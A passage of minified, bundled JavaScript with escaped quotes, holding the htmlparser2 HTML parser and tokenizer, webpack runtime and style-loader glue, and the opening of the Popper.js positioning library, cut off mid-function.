Set([\"area\",\"base\",\"basefont\",\"br\",\"col\",\"command\",\"embed\",\"frame\",\"hr\",\"img\",\"input\",\"isindex\",\"keygen\",\"link\",\"meta\",\"param\",\"source\",\"track\",\"wbr\"]),g=new Set([\"math\",\"svg\"]),A=new Set([\"mi\",\"mo\",\"mn\",\"ms\",\"mtext\",\"annotation-xml\",\"foreignobject\",\"desc\",\"title\"]),b=/\\s|\\//;e.Parser=class{constructor(t,e={}){var r,n,i,o,a,l;this.options=e,this.startIndex=0,this.endIndex=0,this.openTagStart=0,this.tagname=\"\",this.attribname=\"\",this.attribvalue=\"\",this.attribs=null,this.stack=[],this.buffers=[],this.bufferOffset=0,this.writeIndex=0,this.ended=!1,this.cbs=null!=t?t:{},this.htmlMode=!this.options.xmlMode,this.lowerCaseTagNames=null!==(r=e.lowerCaseTags)&&void 0!==r?r:this.htmlMode,this.lowerCaseAttributeNames=null!==(n=e.lowerCaseAttributeNames)&&void 0!==n?n:this.htmlMode,this.recognizeSelfClosing=null!==(i=e.recognizeSelfClosing)&&void 0!==i?i:!this.htmlMode,this.tokenizer=new(null!==(o=e.Tokenizer)&&void 0!==o?o:s.default)(this.options,this),this.foreignContext=[!this.htmlMode],null===(l=(a=this.cbs).onparserinit)||void 0===l||l.call(a,this)}ontext(t,e){var r,n;const i=this.getSlice(t,e);this.endIndex=e-1,null===(n=(r=this.cbs).ontext)||void 0===n||n.call(r,i),this.startIndex=e}ontextentity(t,e){var r,n;this.endIndex=e-1,null===(n=(r=this.cbs).ontext)||void 0===n||n.call(r,(0,l.fromCodePoint)(t)),this.startIndex=e}isVoidElement(t){return this.htmlMode&&h.has(t)}onopentagname(t,e){this.endIndex=e;let r=this.getSlice(t,e);this.lowerCaseTagNames&&(r=r.toLowerCase()),this.emitOpenTag(r)}emitOpenTag(t){var e,r,n,i;this.openTagStart=this.startIndex,this.tagname=t;const o=this.htmlMode&&f.get(t);if(o)for(;this.stack.length>0&&o.has(this.stack[0]);){const t=this.stack.shift();null===(r=(e=this.cbs).onclosetag)||void 0===r||r.call(e,t,!0)}this.isVoidElement(t)||(this.stack.unshift(t),this.htmlMode&&(g.has(t)?this.foreignContext.unshift(!0):A.has(t)&&this.foreignContext.unshift(!1))),null===(i=(n=this.cbs).onopentagname)||void 0===i||i.call(n,t),this.cbs.onopentag&&(this.attribs={})}endOpenTag(t){var e,r;this.startIndex=this.openTagStart,this.attribs&&(null===(r=(e=this.cbs).onopentag)||void 0===r||r.call(e,this.tagname,this.attribs,t),this.attribs=null),this.cbs.onclosetag&&this.isVoidElement(this.tagname)&&this.cbs.onclosetag(this.tagname,!0),this.tagname=\"\"}onopentagend(t){this.endIndex=t,this.endOpenTag(!1),this.startIndex=t+1}onclosetag(t,e){var r,n,i,o,a,s,l,c;this.endIndex=e;let u=this.getSlice(t,e);if(this.lowerCaseTagNames&&(u=u.toLowerCase()),this.htmlMode&&(g.has(u)||A.has(u))&&this.foreignContext.shift(),this.isVoidElement(u))this.htmlMode&&\"br\"===u&&(null===(o=(i=this.cbs).onopentagname)||void 0===o||o.call(i,\"br\"),null===(s=(a=this.cbs).onopentag)||void 0===s||s.call(a,\"br\",{},!0),null===(c=(l=this.cbs).onclosetag)||void 0===c||c.call(l,\"br\",!1));else{const t=this.stack.indexOf(u);if(-1!==t)for(let e=0;e<=t;e++){const i=this.stack.shift();null===(n=(r=this.cbs).onclosetag)||void 0===n||n.call(r,i,e!==t)}else this.htmlMode&&\"p\"===u&&(this.emitOpenTag(\"p\"),this.closeCurrentTag(!0))}this.startIndex=e+1}onselfclosingtag(t){this.endIndex=t,this.recognizeSelfClosing||this.foreignContext[0]?(this.closeCurrentTag(!1),this.startIndex=t+1):this.onopentagend(t)}closeCurrentTag(t){var e,r;const n=this.tagname;this.endOpenTag(t),this.stack[0]===n&&(null===(r=(e=this.cbs).onclosetag)||void 0===r||r.call(e,n,!t),this.stack.shift())}onattribname(t,e){this.startIndex=t;const r=this.getSlice(t,e);this.attribname=this.lowerCaseAttributeNames?r.toLowerCase():r}onattribdata(t,e){this.attribvalue+=this.getSlice(t,e)}onattribentity(t){this.attribvalue+=(0,l.fromCodePoint)(t)}onattribend(t,e){var r,n;this.endIndex=e,null===(n=(r=this.cbs).onattribute)||void 0===n||n.call(r,this.attribname,this.attribvalue,t===s.QuoteType.Double?'\"':t===s.QuoteType.Single?\"'\":t===s.QuoteType.NoValue?void 0:null),this.attribs&&!Object.prototype.hasOwnProperty.call(this.attribs,this.attribname)&&(this.attribs[this.attribname]=this.attribvalue),this.attribvalue=\"\"}getInstructionName(t){const e=t.search(b);let r=e<0?t:t.substr(0,e);return this.lowerCaseTagNames&&(r=r.toLowerCase()),r}ondeclaration(t,e){this.endIndex=e;const r=this.getSlice(t,e);if(this.cbs.onprocessinginstruction){const t=this.getInstructionName(r);this.cbs.onprocessinginstruction(`!${t}`,`!${r}`)}this.startIndex=e+1}onprocessinginstruction(t,e){this.endIndex=e;const r=this.getSlice(t,e);if(this.cbs.onprocessinginstruction){const t=this.getInstructionName(r);this.cbs.onprocessinginstruction(`?${t}`,`?${r}`)}this.startIndex=e+1}oncomment(t,e,r){var n,i,o,a;this.endIndex=e,null===(i=(n=this.cbs).oncomment)||void 0===i||i.call(n,this.getSlice(t,e-r)),null===(a=(o=this.cbs).oncommentend)||void 0===a||a.call(o),this.startIndex=e+1}oncdata(t,e,r){var n,i,o,a,s,l,c,u,p,d;this.endIndex=e;const m=this.getSlice(t,e-r);!this.htmlMode||this.options.recognizeCDATA?(null===(i=(n=this.cbs).oncdatastart)||void 0===i||i.call(n),null===(a=(o=this.cbs).ontext)||void 0===a||a.call(o,m),null===(l=(s=this.cbs).oncdataend)||void 0===l||l.call(s)):(null===(u=(c=this.cbs).oncomment)||void 0===u||u.call(c,`[CDATA[${m}]]`),null===(d=(p=this.cbs).oncommentend)||void 0===d||d.call(p)),this.startIndex=e+1}onend(){var t,e;if(this.cbs.onclosetag){this.endIndex=this.startIndex;for(let t=0;t<this.stack.length;t++)this.cbs.onclosetag(this.stack[t],!0)}null===(e=(t=this.cbs).onend)||void 0===e||e.call(t)}reset(){var t,e,r,n;null===(e=(t=this.cbs).onreset)||void 0===e||e.call(t),this.tokenizer.reset(),this.tagname=\"\",this.attribname=\"\",this.attribs=null,this.stack.length=0,this.startIndex=0,this.endIndex=0,null===(n=(r=this.cbs).onparserinit)||void 0===n||n.call(r,this),this.buffers.length=0,this.foreignContext.length=0,this.foreignContext.unshift(!this.htmlMode),this.bufferOffset=0,this.writeIndex=0,this.ended=!1}parseComplete(t){this.reset(),this.end(t)}getSlice(t,e){for(;t-this.bufferOffset>=this.buffers[0].length;)this.shiftBuffer();let r=this.buffers[0].slice(t-this.bufferOffset,e-this.bufferOffset);for(;e-this.bufferOffset>this.buffers[0].length;)this.shiftBuffer(),r+=this.buffers[0].slice(0,e-this.bufferOffset);return r}shiftBuffer(){this.bufferOffset+=this.buffers[0].length,this.writeIndex--,this.buffers.shift()}write(t){var e,r;this.ended?null===(r=(e=this.cbs).onerror)||void 0===r||r.call(e,new Error(\".write() after done!\")):(this.buffers.push(t),this.tokenizer.running&&(this.tokenizer.write(t),this.writeIndex++))}end(t){var e,r;this.ended?null===(r=(e=this.cbs).onerror)||void 0===r||r.call(e,new Error(\".end() after done!\")):(t&&this.write(t),this.ended=!0,this.tokenizer.end())}pause(){this.tokenizer.pause()}resume(){for(this.tokenizer.resume();this.tokenizer.running&&this.writeIndex<this.buffers.length;)this.tokenizer.write(this.buffers[this.writeIndex++]);this.ended&&this.tokenizer.end()}parseChunk(t){this.write(t)}done(t){this.end(t)}}},1766(t,e,r){\"use strict\";Object.defineProperty(e,\"__esModule\",{value:!0}),e.QuoteType=void 0;const n=r(9299);var i,o,a;function s(t){return t===i.Space||t===i.NewLine||t===i.Tab||t===i.FormFeed||t===i.CarriageReturn}function l(t){return t===i.Slash||t===i.Gt||s(t)}!function(t){t[t.Tab=9]=\"Tab\",t[t.NewLine=10]=\"NewLine\",t[t.FormFeed=12]=\"FormFeed\",t[t.CarriageReturn=13]=\"CarriageReturn\",t[t.Space=32]=\"Space\",t[t.ExclamationMark=33]=\"ExclamationMark\",t[t.Number=35]=\"Number\",t[t.Amp=38]=\"Amp\",t[t.SingleQuote=39]=\"SingleQuote\",t[t.DoubleQuote=34]=\"DoubleQuote\",t[t.Dash=45]=\"Dash\",t[t.Slash=47]=\"Slash\",t[t.Zero=48]=\"Zero\",t[t.Nine=57]=\"Nine\",t[t.Semi=59]=\"Semi\",t[t.Lt=60]=\"Lt\",t[t.Eq=61]=\"Eq\",t[t.Gt=62]=\"Gt\",t[t.Questionmark=63]=\"Questionmark\",t[t.UpperA=65]=\"UpperA\",t[t.LowerA=97]=\"LowerA\",t[t.UpperF=70]=\"UpperF\",t[t.LowerF=102]=\"LowerF\",t[t.UpperZ=90]=\"UpperZ\",t[t.LowerZ=122]=\"LowerZ\",t[t.LowerX=120]=\"LowerX\",t[t.OpeningSquareBracket=91]=\"OpeningSquareBracket\"}(i||(i={})),function(t){t[t.Text=1]=\"Text\",t[t.BeforeTagName=2]=\"BeforeTagName\",t[t.InTagName=3]=\"InTagName\",t[t.InSelfClosingTag=4]=\"InSelfClosingTag\",t[t.BeforeClosingTagName=5]=\"BeforeClosingTagName\",t[t.InClosingTagName=6]=\"InClosingTagName\",t[t.AfterClosingTagName=7]=\"AfterClosingTagName\",t[t.BeforeAttributeName=8]=\"BeforeAttributeName\",t[t.InAttributeName=9]=\"InAttributeName\",t[t.AfterAttributeName=10]=\"AfterAttributeName\",t[t.BeforeAttributeValue=11]=\"BeforeAttributeValue\",t[t.InAttributeValueDq=12]=\"InAttributeValueDq\",t[t.InAttributeValueSq=13]=\"InAttributeValueSq\",t[t.InAttributeValueNq=14]=\"InAttributeValueNq\",t[t.BeforeDeclaration=15]=\"BeforeDeclaration\",t[t.InDeclaration=16]=\"InDeclaration\",t[t.InProcessingInstruction=17]=\"InProcessingInstruction\",t[t.BeforeComment=18]=\"BeforeComment\",t[t.CDATASequence=19]=\"CDATASequence\",t[t.InSpecialComment=20]=\"InSpecialComment\",t[t.InCommentLike=21]=\"InCommentLike\",t[t.BeforeSpecialS=22]=\"BeforeSpecialS\",t[t.BeforeSpecialT=23]=\"BeforeSpecialT\",t[t.SpecialStartSequence=24]=\"SpecialStartSequence\",t[t.InSpecialTag=25]=\"InSpecialTag\",t[t.InEntity=26]=\"InEntity\"}(o||(o={})),function(t){t[t.NoValue=0]=\"NoValue\",t[t.Unquoted=1]=\"Unquoted\",t[t.Single=2]=\"Single\",t[t.Double=3]=\"Double\"}(a||(e.QuoteType=a={}));const c={Cdata:new Uint8Array([67,68,65,84,65,91]),CdataEnd:new Uint8Array([93,93,62]),CommentEnd:new Uint8Array([45,45,62]),ScriptEnd:new Uint8Array([60,47,115,99,114,105,112,116]),StyleEnd:new Uint8Array([60,47,115,116,121,108,101]),TitleEnd:new Uint8Array([60,47,116,105,116,108,101]),TextareaEnd:new Uint8Array([60,47,116,101,120,116,97,114,101,97]),XmpEnd:new Uint8Array([60,47,120,109,112])};e.default=class{constructor({xmlMode:t=!1,decodeEntities:e=!0},r){this.cbs=r,this.state=o.Text,this.buffer=\"\",this.sectionStart=0,this.index=0,this.entityStart=0,this.baseState=o.Text,this.isSpecial=!1,this.running=!0,this.offset=0,this.currentSequence=void 0,this.sequenceIndex=0,this.xmlMode=t,this.decodeEntities=e,this.entityDecoder=new n.EntityDecoder(t?n.xmlDecodeTree:n.htmlDecodeTree,(t,e)=>this.emitCodePoint(t,e))}reset(){this.state=o.Text,this.buffer=\"\",this.sectionStart=0,this.index=0,this.baseState=o.Text,this.currentSequence=void 0,this.running=!0,this.offset=0}write(t){this.offset+=this.buffer.length,this.buffer=t,this.parse()}end(){this.running&&this.finish()}pause(){this.running=!1}resume(){this.running=!0,this.index<this.buffer.length+this.offset&&this.parse()}stateText(t){t===i.Lt||!this.decodeEntities&&this.fastForwardTo(i.Lt)?(this.index>this.sectionStart&&this.cbs.ontext(this.sectionStart,this.index),this.state=o.BeforeTagName,this.sectionStart=this.index):this.decodeEntities&&t===i.Amp&&this.startEntity()}stateSpecialStartSequence(t){const e=this.sequenceIndex===this.currentSequence.length;if(e?l(t):(32|t)===this.currentSequence[this.sequenceIndex]){if(!e)return void this.sequenceIndex++}else this.isSpecial=!1;this.sequenceIndex=0,this.state=o.InTagName,this.stateInTagName(t)}stateInSpecialTag(t){if(this.sequenceIndex===this.currentSequence.length){if(t===i.Gt||s(t)){const e=this.index-this.currentSequence.length;if(this.sectionStart<e){const t=this.index;this.index=e,this.cbs.ontext(this.sectionStart,e),this.index=t}return this.isSpecial=!1,this.sectionStart=e+2,void this.stateInClosingTagName(t)}this.sequenceIndex=0}(32|t)===this.currentSequence[this.sequenceIndex]?this.sequenceIndex+=1:0===this.sequenceIndex?this.currentSequence===c.TitleEnd?this.decodeEntities&&t===i.Amp&&this.startEntity():this.fastForwardTo(i.Lt)&&(this.sequenceIndex=1):this.sequenceIndex=Number(t===i.Lt)}stateCDATASequence(t){t===c.Cdata[this.sequenceIndex]?++this.sequenceIndex===c.Cdata.length&&(this.state=o.InCommentLike,this.currentSequence=c.CdataEnd,this.sequenceIndex=0,this.sectionStart=this.index+1):(this.sequenceIndex=0,this.state=o.InDeclaration,this.stateInDeclaration(t))}fastForwardTo(t){for(;++this.index<this.buffer.length+this.offset;)if(this.buffer.charCodeAt(this.index-this.offset)===t)return!0;return this.index=this.buffer.length+this.offset-1,!1}stateInCommentLike(t){t===this.currentSequence[this.sequenceIndex]?++this.sequenceIndex===this.currentSequence.length&&(this.currentSequence===c.CdataEnd?this.cbs.oncdata(this.sectionStart,this.index,2):this.cbs.oncomment(this.sectionStart,this.index,2),this.sequenceIndex=0,this.sectionStart=this.index+1,this.state=o.Text):0===this.sequenceIndex?this.fastForwardTo(this.currentSequence[0])&&(this.sequenceIndex=1):t!==this.currentSequence[this.sequenceIndex-1]&&(this.sequenceIndex=0)}isTagStartChar(t){return this.xmlMode?!l(t):function(t){return t>=i.LowerA&&t<=i.LowerZ||t>=i.UpperA&&t<=i.UpperZ}(t)}startSpecial(t,e){this.isSpecial=!0,this.currentSequence=t,this.sequenceIndex=e,this.state=o.SpecialStartSequence}stateBeforeTagName(t){if(t===i.ExclamationMark)this.state=o.BeforeDeclaration,this.sectionStart=this.index+1;else if(t===i.Questionmark)this.state=o.InProcessingInstruction,this.sectionStart=this.index+1;else if(this.isTagStartChar(t)){const e=32|t;this.sectionStart=this.index,this.xmlMode?this.state=o.InTagName:e===c.ScriptEnd[2]?this.state=o.BeforeSpecialS:e===c.TitleEnd[2]||e===c.XmpEnd[2]?this.state=o.BeforeSpecialT:this.state=o.InTagName}else t===i.Slash?this.state=o.BeforeClosingTagName:(this.state=o.Text,this.stateText(t))}stateInTagName(t){l(t)&&(this.cbs.onopentagname(this.sectionStart,this.index),this.sectionStart=-1,this.state=o.BeforeAttributeName,this.stateBeforeAttributeName(t))}stateBeforeClosingTagName(t){s(t)||(t===i.Gt?this.state=o.Text:(this.state=this.isTagStartChar(t)?o.InClosingTagName:o.InSpecialComment,this.sectionStart=this.index))}stateInClosingTagName(t){(t===i.Gt||s(t))&&(this.cbs.onclosetag(this.sectionStart,this.index),this.sectionStart=-1,this.state=o.AfterClosingTagName,this.stateAfterClosingTagName(t))}stateAfterClosingTagName(t){(t===i.Gt||this.fastForwardTo(i.Gt))&&(this.state=o.Text,this.sectionStart=this.index+1)}stateBeforeAttributeName(t){t===i.Gt?(this.cbs.onopentagend(this.index),this.isSpecial?(this.state=o.InSpecialTag,this.sequenceIndex=0):this.state=o.Text,this.sectionStart=this.index+1):t===i.Slash?this.state=o.InSelfClosingTag:s(t)||(this.state=o.InAttributeName,this.sectionStart=this.index)}stateInSelfClosingTag(t){t===i.Gt?(this.cbs.onselfclosingtag(this.index),this.state=o.Text,this.sectionStart=this.index+1,this.isSpecial=!1):s(t)||(this.state=o.BeforeAttributeName,this.stateBeforeAttributeName(t))}stateInAttributeName(t){(t===i.Eq||l(t))&&(this.cbs.onattribname(this.sectionStart,this.index),this.sectionStart=this.index,this.state=o.AfterAttributeName,this.stateAfterAttributeName(t))}stateAfterAttributeName(t){t===i.Eq?this.state=o.BeforeAttributeValue:t===i.Slash||t===i.Gt?(this.cbs.onattribend(a.NoValue,this.sectionStart),this.sectionStart=-1,this.state=o.BeforeAttributeName,this.stateBeforeAttributeName(t)):s(t)||(this.cbs.onattribend(a.NoValue,this.sectionStart),this.state=o.InAttributeName,this.sectionStart=this.index)}stateBeforeAttributeValue(t){t===i.DoubleQuote?(this.state=o.InAttributeValueDq,this.sectionStart=this.index+1):t===i.SingleQuote?(this.state=o.InAttributeValueSq,this.sectionStart=this.index+1):s(t)||(this.sectionStart=this.index,this.state=o.InAttributeValueNq,this.stateInAttributeValueNoQuotes(t))}handleInAttributeValue(t,e){t===e||!this.decodeEntities&&this.fastForwardTo(e)?(this.cbs.onattribdata(this.sectionStart,this.index),this.sectionStart=-1,this.cbs.onattribend(e===i.DoubleQuote?a.Double:a.Single,this.index+1),this.state=o.BeforeAttributeName):this.decodeEntities&&t===i.Amp&&this.startEntity()}stateInAttributeValueDoubleQuotes(t){this.handleInAttributeValue(t,i.DoubleQuote)}stateInAttributeValueSingleQuotes(t){this.handleInAttributeValue(t,i.SingleQuote)}stateInAttributeValueNoQuotes(t){s(t)||t===i.Gt?(this.cbs.onattribdata(this.sectionStart,this.index),this.sectionStart=-1,this.cbs.onattribend(a.Unquoted,this.index),this.state=o.BeforeAttributeName,this.stateBeforeAttributeName(t)):this.decodeEntities&&t===i.Amp&&this.startEntity()}stateBeforeDeclaration(t){t===i.OpeningSquareBracket?(this.state=o.CDATASequence,this.sequenceIndex=0):this.state=t===i.Dash?o.BeforeComment:o.InDeclaration}stateInDeclaration(t){(t===i.Gt||this.fastForwardTo(i.Gt))&&(this.cbs.ondeclaration(this.sectionStart,this.index),this.state=o.Text,this.sectionStart=this.index+1)}stateInProcessingInstruction(t){(t===i.Gt||this.fastForwardTo(i.Gt))&&(this.cbs.onprocessinginstruction(this.sectionStart,this.index),this.state=o.Text,this.sectionStart=this.index+1)}stateBeforeComment(t){t===i.Dash?(this.state=o.InCommentLike,this.currentSequence=c.CommentEnd,this.sequenceIndex=2,this.sectionStart=this.index+1):this.state=o.InDeclaration}stateInSpecialComment(t){(t===i.Gt||this.fastForwardTo(i.Gt))&&(this.cbs.oncomment(this.sectionStart,this.index,0),this.state=o.Text,this.sectionStart=this.index+1)}stateBeforeSpecialS(t){const e=32|t;e===c.ScriptEnd[3]?this.startSpecial(c.ScriptEnd,4):e===c.StyleEnd[3]?this.startSpecial(c.StyleEnd,4):(this.state=o.InTagName,this.stateInTagName(t))}stateBeforeSpecialT(t){switch(32|t){case c.TitleEnd[3]:this.startSpecial(c.TitleEnd,4);break;case c.TextareaEnd[3]:this.startSpecial(c.TextareaEnd,4);break;case c.XmpEnd[3]:this.startSpecial(c.XmpEnd,4);break;default:this.state=o.InTagName,this.stateInTagName(t)}}startEntity(){this.baseState=this.state,this.state=o.InEntity,this.entityStart=this.index,this.entityDecoder.startEntity(this.xmlMode?n.DecodingMode.Strict:this.baseState===o.Text||this.baseState===o.InSpecialTag?n.DecodingMode.Legacy:n.DecodingMode.Attribute)}stateInEntity(){const t=this.index-this.offset,e=this.entityDecoder.write(this.buffer,t);if(e>=0)this.state=this.baseState,0===e&&(this.index-=1);else{if(t<this.buffer.length&&this.buffer.charCodeAt(t)===i.Amp)return this.state=this.baseState,void(this.index-=1);this.index=this.offset+this.buffer.length-1}}cleanup(){this.running&&this.sectionStart!==this.index&&(this.state===o.Text||this.state===o.InSpecialTag&&0===this.sequenceIndex?(this.cbs.ontext(this.sectionStart,this.index),this.sectionStart=this.index):this.state!==o.InAttributeValueDq&&this.state!==o.InAttributeValueSq&&this.state!==o.InAttributeValueNq||(this.cbs.onattribdata(this.sectionStart,this.index),this.sectionStart=this.index))}shouldContinue(){return this.index<this.buffer.length+this.offset&&this.running}parse(){for(;this.shouldContinue();){const t=this.buffer.charCodeAt(this.index-this.offset);switch(this.state){case o.Text:this.stateText(t);break;case o.SpecialStartSequence:this.stateSpecialStartSequence(t);break;case o.InSpecialTag:this.stateInSpecialTag(t);break;case o.CDATASequence:this.stateCDATASequence(t);break;case o.InAttributeValueDq:this.stateInAttributeValueDoubleQuotes(t);break;case o.InAttributeName:this.stateInAttributeName(t);break;case o.InCommentLike:this.stateInCommentLike(t);break;case o.InSpecialComment:this.stateInSpecialComment(t);break;case o.BeforeAttributeName:this.stateBeforeAttributeName(t);break;case o.InTagName:this.stateInTagName(t);break;case o.InClosingTagName:this.stateInClosingTagName(t);break;case o.BeforeTagName:this.stateBeforeTagName(t);break;case o.AfterAttributeName:this.stateAfterAttributeName(t);break;case o.InAttributeValueSq:this.stateInAttributeValueSingleQuotes(t);break;case o.BeforeAttributeValue:this.stateBeforeAttributeValue(t);break;case o.BeforeClosingTagName:this.stateBeforeClosingTagName(t);break;case o.AfterClosingTagName:this.stateAfterClosingTagName(t);break;case o.BeforeSpecialS:this.stateBeforeSpecialS(t);break;case o.BeforeSpecialT:this.stateBeforeSpecialT(t);break;case o.InAttributeValueNq:this.stateInAttributeValueNoQuotes(t);break;case o.InSelfClosingTag:this.stateInSelfClosingTag(t);break;case o.InDeclaration:this.stateInDeclaration(t);break;case o.BeforeDeclaration:this.stateBeforeDeclaration(t);break;case o.BeforeComment:this.stateBeforeComment(t);break;case o.InProcessingInstruction:this.stateInProcessingInstruction(t);break;case o.InEntity:this.stateInEntity()}this.index++}this.cleanup()}finish(){this.state===o.InEntity&&(this.entityDecoder.end(),this.state=this.baseState),this.handleTrailingData(),this.cbs.onend()}handleTrailingData(){const t=this.buffer.length+this.offset;this.sectionStart>=t||(this.state===o.InCommentLike?this.currentSequence===c.CdataEnd?this.cbs.oncdata(this.sectionStart,t,0):this.cbs.oncomment(this.sectionStart,t,0):this.state===o.InTagName||this.state===o.BeforeAttributeName||this.state===o.BeforeAttributeValue||this.state===o.AfterAttributeName||this.state===o.InAttributeName||this.state===o.InAttributeValueSq||this.state===o.InAttributeValueDq||this.state===o.InAttributeValueNq||this.state===o.InClosingTagName||this.cbs.ontext(this.sectionStart,t))}emitCodePoint(t,e){this.baseState!==o.Text&&this.baseState!==o.InSpecialTag?(this.sectionStart<this.entityStart&&this.cbs.onattribdata(this.sectionStart,this.entityStart),this.sectionStart=this.entityStart+e,this.index=this.sectionStart-1,this.cbs.onattribentity(t)):(this.sectionStart<this.entityStart&&this.cbs.ontext(this.sectionStart,this.entityStart),this.sectionStart=this.entityStart+e,this.index=this.sectionStart-1,this.cbs.ontextentity(t,this.sectionStart))}}},8331(t,e,r){\"use strict\";var n,i=this&&this.__createBinding||(Object.create?function(t,e,r,n){void 0===n&&(n=r);var i=Object.getOwnPropertyDescriptor(e,r);i&&!(\"get\"in i?!e.__esModule:i.writable||i.configurable)||(i={enumerable:!0,get:function(){return e[r]}}),Object.defineProperty(t,n,i)}:function(t,e,r,n){void 0===n&&(n=r),t[n]=e[r]}),o=this&&this.__setModuleDefault||(Object.create?function(t,e){Object.defineProperty(t,\"default\",{enumerable:!0,value:e})}:function(t,e){t.default=e}),a=this&&this.__importStar||(n=function(t){return n=Object.getOwnPropertyNames||function(t){var e=[];for(var r in t)Object.prototype.hasOwnProperty.call(t,r)&&(e[e.length]=r);return e},n(t)},function(t){if(t&&t.__esModule)return t;var e={};if(null!=t)for(var r=n(t),a=0;a<r.length;a++)\"default\"!==r[a]&&i(e,t,r[a]);return o(e,t),e}),s=this&&this.__importDefault||function(t){return t&&t.__esModule?t:{default:t}};Object.defineProperty(e,\"__esModule\",{value:!0}),e.DomUtils=e.getFeed=e.ElementType=e.QuoteType=e.Tokenizer=e.DefaultHandler=e.DomHandler=e.Parser=void 0,e.parseDocument=d,e.parseDOM=m,e.createDocumentStream=function(t,e,r){const n=new u.DomHandler(e=>t(e,n.root),e,r);return new l.Parser(n,e)},e.createDomStream=function(t,e,r){const n=new u.DomHandler(t,e,r);return new l.Parser(n,e)},e.parseFeed=function(t,e=A){return(0,h.getFeed)(m(t,e))};const l=r(292);var c=r(292);Object.defineProperty(e,\"Parser\",{enumerable:!0,get:function(){return c.Parser}});const u=r(4128);var p=r(4128);function d(t,e){const r=new u.DomHandler(void 0,e);return new l.Parser(r,e).end(t),r.root}function m(t,e){return d(t,e).children}Object.defineProperty(e,\"DomHandler\",{enumerable:!0,get:function(){return p.DomHandler}}),Object.defineProperty(e,\"DefaultHandler\",{enumerable:!0,get:function(){return p.DomHandler}});var f=r(1766);Object.defineProperty(e,\"Tokenizer\",{enumerable:!0,get:function(){return s(f).default}}),Object.defineProperty(e,\"QuoteType\",{enumerable:!0,get:function(){return f.QuoteType}}),e.ElementType=a(r(5413));const h=r(1941);var g=r(1941);Object.defineProperty(e,\"getFeed\",{enumerable:!0,get:function(){return g.getFeed}});const A={xmlMode:!0};e.DomUtils=a(r(1941))}},e={};function r(n){var i=e[n];if(void 0!==i)return i.exports;var o=e[n]={id:n,loaded:!1,exports:{}};return t[n].call(o.exports,o,o.exports,r),o.loaded=!0,o.exports}r.n=t=>{var e=t&&t.__esModule?()=>t.default:()=>t;return r.d(e,{a:e}),e},r.d=(t,e)=>{for(var n in e)r.o(e,n)&&!r.o(t,n)&&Object.defineProperty(t,n,{enumerable:!0,get:e[n]})},r.g=function(){if(\"object\"==typeof globalThis)return globalThis;try{return this||new Function(\"return this\")()}catch(t){if(\"object\"==typeof window)return window}}(),r.o=(t,e)=>Object.prototype.hasOwnProperty.call(t,e),r.r=t=>{\"undefined\"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:\"Module\"}),Object.defineProperty(t,\"__esModule\",{value:!0})},r.nmd=t=>(t.paths=[],t.children||(t.children=[]),t),r.nc=void 0,(()=>{\"use strict\";var t={};r.r(t),r.d(t,{afterMain:()=>L,afterRead:()=>j,afterWrite:()=>P,applyStyles:()=>Z,arrow:()=>ft,auto:()=>_,basePlacements:()=>C,beforeMain:()=>M,beforeRead:()=>F,beforeWrite:()=>Q,bottom:()=>v,clippingParents:()=>E,computeStyles:()=>bt,createPopper:()=>Zt,createPopperBase:()=>Jt,createPopperLite:()=>qt,detectOverflow:()=>Nt,end:()=>k,eventListeners:()=>vt,flip:()=>jt,hide:()=>Lt,left:()=>w,main:()=>R,modifierPhases:()=>W,offset:()=>Qt,placements:()=>T,popper:()=>S,popperGenerator:()=>Yt,popperOffsets:()=>Gt,preventOverflow:()=>Pt,read:()=>N,reference:()=>D,right:()=>x,start:()=>I,top:()=>y,variationPlacements:()=>O,viewport:()=>B,write:()=>G});var e={};r.r(e),r.d(e,{bits:()=>pd,bytes:()=>dd,dictToString:()=>xd,exclamation:()=>md,leftPad:()=>fd,limitTo:()=>hd,minSize:()=>gd,nl2br:()=>Ad,number:()=>bd,timedelta:()=>vd,timemillis:()=>yd});var n=r(5072),i=r.n(n),o=r(7825),a=r.n(o),s=r(7659),l=r.n(s),c=r(5056),u=r.n(c),p=r(540),d=r.n(p),m=r(1113),f=r.n(m),h=r(1392),g={};g.styleTagTransform=f(),g.setAttributes=u(),g.insert=l().bind(null,\"head\"),g.domAPI=a(),g.insertStyleElement=d();i()(h.A,g);h.A&&h.A.locals&&h.A.locals;var A=r(1304),b={};b.styleTagTransform=f(),b.setAttributes=u(),b.insert=l().bind(null,\"head\"),b.domAPI=a(),b.insertStyleElement=d();i()(A.A,b);A.A&&A.A.locals&&A.A.locals;var y=\"top\",v=\"bottom\",x=\"right\",w=\"left\",_=\"auto\",C=[y,v,x,w],I=\"start\",k=\"end\",E=\"clippingParents\",B=\"viewport\",S=\"popper\",D=\"reference\",O=C.reduce(function(t,e){return t.concat([e+\"-\"+I,e+\"-\"+k])},[]),T=[].concat(C,[_]).reduce(function(t,e){return t.concat([e,e+\"-\"+I,e+\"-\"+k])},[]),F=\"beforeRead\",N=\"read\",j=\"afterRead\",M=\"beforeMain\",R=\"main\",L=\"afterMain\",Q=\"beforeWrite\",G=\"write\",P=\"afterWrite\",W=[F,N,j,M,R,L,Q,G,P];function K(t){return t?(t.nodeName||\"\").toLowerCase():null}function H(t){if(null==t)return window;if(\"[object Window]\"!==t.toString()){var e=t.ownerDocument;return e&&e.defaultView||window}return t}function U(t){return t instanceof H(t).Element||t instanceof Element}function Y(t){return t instanceof H(t).HTMLElement||t instanceof HTMLElement}function J(t){return\"undefined\"!=typeof ShadowRoot&&(t instanceof H(t).ShadowRoot||t instanceof ShadowRoot)}const Z={name:\"applyStyles\",enabled:!0,phase:\"write\",fn:function(t){var e=t.state;Object.keys(e.elements).forEach(function(t){var r=e.styles[t]||{},n=e.attributes[t]||{},i=e.elements[t];Y(i)&&K(i)&&(Object.assign(i.style,r),Object.keys(n).forEach(function(t){var e=n[t];!1===e?i.removeAttribute(t):i.setAttribute(t,!0===e?\"\":e)}))})},effect:function(t){var e=t.state,r={popper:{position:e.options.strategy,left:\"0\",top:\"0\",margin:\"0\"},arrow:{position:\"absolute\"},reference:{}};return Object.assign(e.elements.popper.style,r.popper),e.styles=r,e.elements.arrow&&Object.assign(e.elements.arrow.style,r.arrow),function(){Object.keys(e.elements).forEach(function(t){var n=e.elements[t],i=e.attributes[t]||{},o=Object.keys(e.styles.hasOwnProperty(t)?e.styles[t]:r[t]).reduce(function(t,e){return t[e]=\"\",t},{});Y(n)&&K(n)&&(Object.assign(n.style,o),Object.keys(i).forEach(function(t){n.removeAttribute(t)}))})}},requires:[\"computeStyles\"]};function q(t){return t.split(\"-\")[0]}var V=Math.max,z=Math.min,X=Math.round;function 